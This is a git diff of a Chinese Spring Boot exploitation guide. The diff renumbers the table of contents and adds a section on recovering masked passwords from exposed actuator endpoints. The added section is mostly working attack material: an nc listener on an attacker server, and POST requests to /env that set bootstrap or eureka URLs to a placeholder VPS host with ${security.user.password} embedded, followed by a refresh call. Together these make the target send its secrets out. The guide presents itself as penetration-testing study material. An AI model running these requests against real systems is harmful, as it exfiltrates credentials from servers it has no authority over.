@@ -39,27 +39,34 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
39
39
* [ 步骤五: 解码属性值] ( #%E6%AD%A5%E9%AA%A4%E4%BA%94-%E8%A7%A3%E7%A0%81%E5%B1%9E%E6%80%A7%E5%80%BC )
40
40
* [ 漏洞原理:] ( #%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-1 )
41
41
* [ 漏洞分析:] ( #%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90 )
42
- * [ 二:远程代码执行] ( #%E4%BA%8C%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C )
43
- * [ 0x01:whitelabel error page SpEL RCE] ( #0x01whitelabel-error-page-spel-rce )
42
+ * [ 0x05:获取被星号脱敏的密码的明文 (方法三)] ( #0x05%E8%8E%B7%E5%8F%96%E8%A2%AB%E6%98%9F%E5%8F%B7%E8%84%B1%E6%95%8F%E7%9A%84%E5%AF%86%E7%A0%81%E7%9A%84%E6%98%8E%E6%96%87-%E6%96%B9%E6%B3%95%E4%B8%89 )
44
43
* [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-2 )
45
44
* [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-2 )
45
+ * [ 步骤一: 找到想要获取的属性名] ( #%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%BE%E5%88%B0%E6%83%B3%E8%A6%81%E8%8E%B7%E5%8F%96%E7%9A%84%E5%B1%9E%E6%80%A7%E5%90%8D-2 )
46
+ * [ 步骤二: 使用 nc 监听 HTTP 请求] ( #%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E4%BD%BF%E7%94%A8-nc-%E7%9B%91%E5%90%AC-http-%E8%AF%B7%E6%B1%82-1 )
47
+ * [ 步骤三: 触发对外 http 请求] ( #%E6%AD%A5%E9%AA%A4%E4%B8%89-%E8%A7%A6%E5%8F%91%E5%AF%B9%E5%A4%96-http-%E8%AF%B7%E6%B1%82 )
48
+ * [ 步骤四: 刷新配置] ( #%E6%AD%A5%E9%AA%A4%E5%9B%9B-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE-1 )
49
+ * [ 二:远程代码执行] ( #%E4%BA%8C%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C )
50
+ * [ 0x01:whitelabel error page SpEL RCE] ( #0x01whitelabel-error-page-spel-rce )
51
+ * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-3 )
52
+ * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-3 )
46
53
* [ 步骤一:找到一个正常传参处] ( #%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%89%BE%E5%88%B0%E4%B8%80%E4%B8%AA%E6%AD%A3%E5%B8%B8%E4%BC%A0%E5%8F%82%E5%A4%84 )
47
54
* [ 步骤二:执行 SpEL 表达式] ( #%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%A7%E8%A1%8C-spel-%E8%A1%A8%E8%BE%BE%E5%BC%8F )
48
55
* [ 漏洞原理:] ( #%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-2 )
49
56
* [ 漏洞分析:] ( #%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-1 )
50
57
* [ 漏洞环境:] ( #%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83 )
51
58
* [ 0x02:spring cloud SnakeYAML RCE] ( #0x02spring-cloud-snakeyaml-rce )
52
- * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-3 )
53
- * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-3 )
59
+ * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-4 )
60
+ * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4 )
54
61
* [ 步骤一: 托管 yml 和 jar 文件] ( #%E6%AD%A5%E9%AA%A4%E4%B8%80-%E6%89%98%E7%AE%A1-yml-%E5%92%8C-jar-%E6%96%87%E4%BB%B6 )
55
62
* [ 步骤二: 设置 spring\. cloud\. bootstrap\. location 属性] ( #%E6%AD%A5%E9%AA%A4%E4%BA%8C-%E8%AE%BE%E7%BD%AE-springcloudbootstraplocation-%E5%B1%9E%E6%80%A7 )
56
63
* [ 步骤三: 刷新配置] ( #%E6%AD%A5%E9%AA%A4%E4%B8%89-%E5%88%B7%E6%96%B0%E9%85%8D%E7%BD%AE )
57
64
* [ 漏洞原理:] ( #%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-3 )
58
65
* [ 漏洞分析:] ( #%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-2 )
59
66
* [ 漏洞环境:] ( #%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-1 )
60
67
* [ 0x03:eureka xstream deserialization RCE] ( #0x03eureka-xstream-deserialization-rce )
61
- * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-4 )
62
- * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-4 )
68
+ * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-5 )
69
+ * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5 )
63
70
* [ 步骤一:架设响应恶意 XStream payload 的网站] ( #%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9E%B6%E8%AE%BE%E5%93%8D%E5%BA%94%E6%81%B6%E6%84%8F-xstream-payload-%E7%9A%84%E7%BD%91%E7%AB%99 )
64
71
* [ 步骤二:监听反弹 shell 的端口] ( #%E6%AD%A5%E9%AA%A4%E4%BA%8C%E7%9B%91%E5%90%AC%E5%8F%8D%E5%BC%B9-shell-%E7%9A%84%E7%AB%AF%E5%8F%A3 )
65
72
* [ 步骤三:设置 eureka\. client\. serviceUrl\. defaultZone 属性] ( #%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-eurekaclientserviceurldefaultzone-%E5%B1%9E%E6%80%A7 )
@@ -68,8 +75,8 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
68
75
* [ 漏洞分析:] ( #%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-3 )
69
76
* [ 漏洞环境:] ( #%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-2 )
70
77
* [ 0x04:jolokia logback JNDI RCE] ( #0x04jolokia-logback-jndi-rce )
71
- * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-5 )
72
- * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-5 )
78
+ * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6 )
79
+ * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6 )
73
80
* [ 步骤一:查看已存在的 MBeans] ( #%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans )
74
81
* [ 步骤二:托管 xml 文件] ( #%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%89%98%E7%AE%A1-xml-%E6%96%87%E4%BB%B6 )
75
82
* [ 步骤三:准备要执行的 Java 代码] ( #%E6%AD%A5%E9%AA%A4%E4%B8%89%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81 )
@@ -80,8 +87,8 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
80
87
* [ 漏洞分析:] ( #%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-4 )
81
88
* [ 漏洞环境:] ( #%E6%BC%8F%E6%B4%9E%E7%8E%AF%E5%A2%83-3 )
82
89
* [ 0x05:jolokia Realm JNDI RCE] ( #0x05jolokia-realm-jndi-rce )
83
- * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-6 )
84
- * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-6 )
90
+ * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-7 )
91
+ * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7 )
85
92
* [ 步骤一:查看已存在的 MBeans] ( #%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E5%B7%B2%E5%AD%98%E5%9C%A8%E7%9A%84-mbeans-1 )
86
93
* [ 步骤二:准备要执行的 Java 代码] ( #%E6%AD%A5%E9%AA%A4%E4%BA%8C%E5%87%86%E5%A4%87%E8%A6%81%E6%89%A7%E8%A1%8C%E7%9A%84-java-%E4%BB%A3%E7%A0%81 )
87
94
* [ 步骤三:架设恶意 rmi 服务] ( #%E6%AD%A5%E9%AA%A4%E4%B8%89%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rmi-%E6%9C%8D%E5%8A%A1 )
@@ -90,15 +97,15 @@ Spring Boot 相关漏洞学习资料,利用方法和技巧合集,黑盒安
90
97
* [ 漏洞原理:] ( #%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-6 )
91
98
* [ 漏洞分析:] ( #%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-5 )
92
99
* [ 0x06:h2 database query RCE] ( #0x06h2-database-query-rce )
93
- * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-7 )
94
- * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-7 )
100
+ * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-8 )
101
+ * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-8 )
95
102
* [ 步骤一:设置 spring\. datasource\. hikari\. connection\- test\- query 属性] ( #%E6%AD%A5%E9%AA%A4%E4%B8%80%E8%AE%BE%E7%BD%AE-springdatasourcehikariconnection-test-query-%E5%B1%9E%E6%80%A7 )
96
103
* [ 步骤二:重启应用] ( #%E6%AD%A5%E9%AA%A4%E4%BA%8C%E9%87%8D%E5%90%AF%E5%BA%94%E7%94%A8 )
97
104
* [ 漏洞原理:] ( #%E6%BC%8F%E6%B4%9E%E5%8E%9F%E7%90%86-7 )
98
105
* [ 漏洞分析:] ( #%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90-6 )
99
106
* [ 0x07:mysql jdbc deserialization RCE] ( #0x07mysql-jdbc-deserialization-rce )
100
- * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-8 )
101
- * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-8 )
107
+ * [ 利用条件:] ( #%E5%88%A9%E7%94%A8%E6%9D%A1%E4%BB%B6-9 )
108
+ * [ 利用方法:] ( #%E5%88%A9%E7%94%A8%E6%96%B9%E6%B3%95-9 )
102
109
* [ 步骤一:查看环境依赖] ( #%E6%AD%A5%E9%AA%A4%E4%B8%80%E6%9F%A5%E7%9C%8B%E7%8E%AF%E5%A2%83%E4%BE%9D%E8%B5%96 )
103
110
* [ 步骤二:架设恶意 rogue mysql server] ( #%E6%AD%A5%E9%AA%A4%E4%BA%8C%E6%9E%B6%E8%AE%BE%E6%81%B6%E6%84%8F-rogue-mysql-server )
104
111
* [ 步骤三:设置 spring\. datasource\. url 属性] ( #%E6%AD%A5%E9%AA%A4%E4%B8%89%E8%AE%BE%E7%BD%AE-springdatasourceurl-%E5%B1%9E%E6%80%A7 )
@@ -446,6 +453,109 @@ Authorization: Basic dmFsdWU6MTIzNDU2
446
453
447
454
448
455
456
+
457
+
458
+ ### 0x05:获取被星号脱敏的密码的明文 (方法三)
459
+
460
+ > 访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
461
+
462
+ #### 利用条件:
463
+
464
+ - 通过 POST ` /env ` 设置属性触发目标对外网指定地址发起任意 http 请求
465
+ - 目标可以请求攻击者的服务器(请求可出外网)
466
+
467
+
468
+
469
+ #### 利用方法:
470
+
471
+ > 参考 UUUUnotfound 提出的 [ issue-1] ( https://github.com/LandGrey/SpringBootVulExploit/issues/1 ) ,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
472
+
473
+ ##### 步骤一: 找到想要获取的属性名
474
+
475
+ GET 请求目标网站的 ` /env ` 或 ` /actuator/env ` 接口,搜索 ` ****** ` 关键词,找到想要获取的被星号 * 遮掩的属性值对应的属性名。
476
+
477
+
478
+
479
+ ##### 步骤二: 使用 nc 监听 HTTP 请求
480
+
481
+ 在自己控制的外网服务器上监听 80 端口:
482
+
483
+ ``` bash
484
+ nc -lvk 80
485
+ ```
486
+
487
+
488
+
489
+ ##### 步骤三: 触发对外 http 请求
490
+
491
+ - ` spring.cloud.bootstrap.location ` 方法(** 同时适用于** 明文数据中有特殊 url 字符的情况):
492
+
493
+
494
+
495
+ spring 1.x
496
+
497
+ ```
498
+ POST /env
499
+ Content-Type: application/x-www-form-urlencoded
500
+
501
+ spring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
502
+ ```
503
+
504
+ spring 2.x
505
+
506
+ ```
507
+ POST /actuator/env
508
+ Content-Type: application/json
509
+
510
+ {"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
511
+ ```
512
+
513
+
514
+
515
+ - ` eureka.client.serviceUrl.defaultZone ` 方法(** 不适用于** 明文数据中有特殊 url 字符的情况):
516
+
517
+
518
+
519
+ spring 1.x
520
+
521
+ ```
522
+ POST /env
523
+ Content-Type: application/x-www-form-urlencoded
524
+
525
+ eureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
526
+ ```
527
+
528
+ spring 2.x
529
+
530
+ ```
531
+ POST /actuator/env
532
+ Content-Type: application/json
533
+
534
+ {"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
535
+ ```
536
+
537
+
538
+
539
+ ##### 步骤四: 刷新配置
540
+
541
+ spring 1.x
542
+
543
+ ```
544
+ POST /refresh
545
+ Content-Type: application/x-www-form-urlencoded
546
+
547
+ ```
548
+
549
+ spring 2.x
550
+
551
+ ```
552
+ POST /actuator/refresh
553
+ Content-Type: application/json
554
+
555
+ ```
556
+
557
+
558
+
449
559
## 二:远程代码执行
450
560
451
561
> 由于 spring boot 相关漏洞可能是多个组件漏洞组合导致的,所以有些漏洞名字起的不太正规,以能区分为准
0 commit comments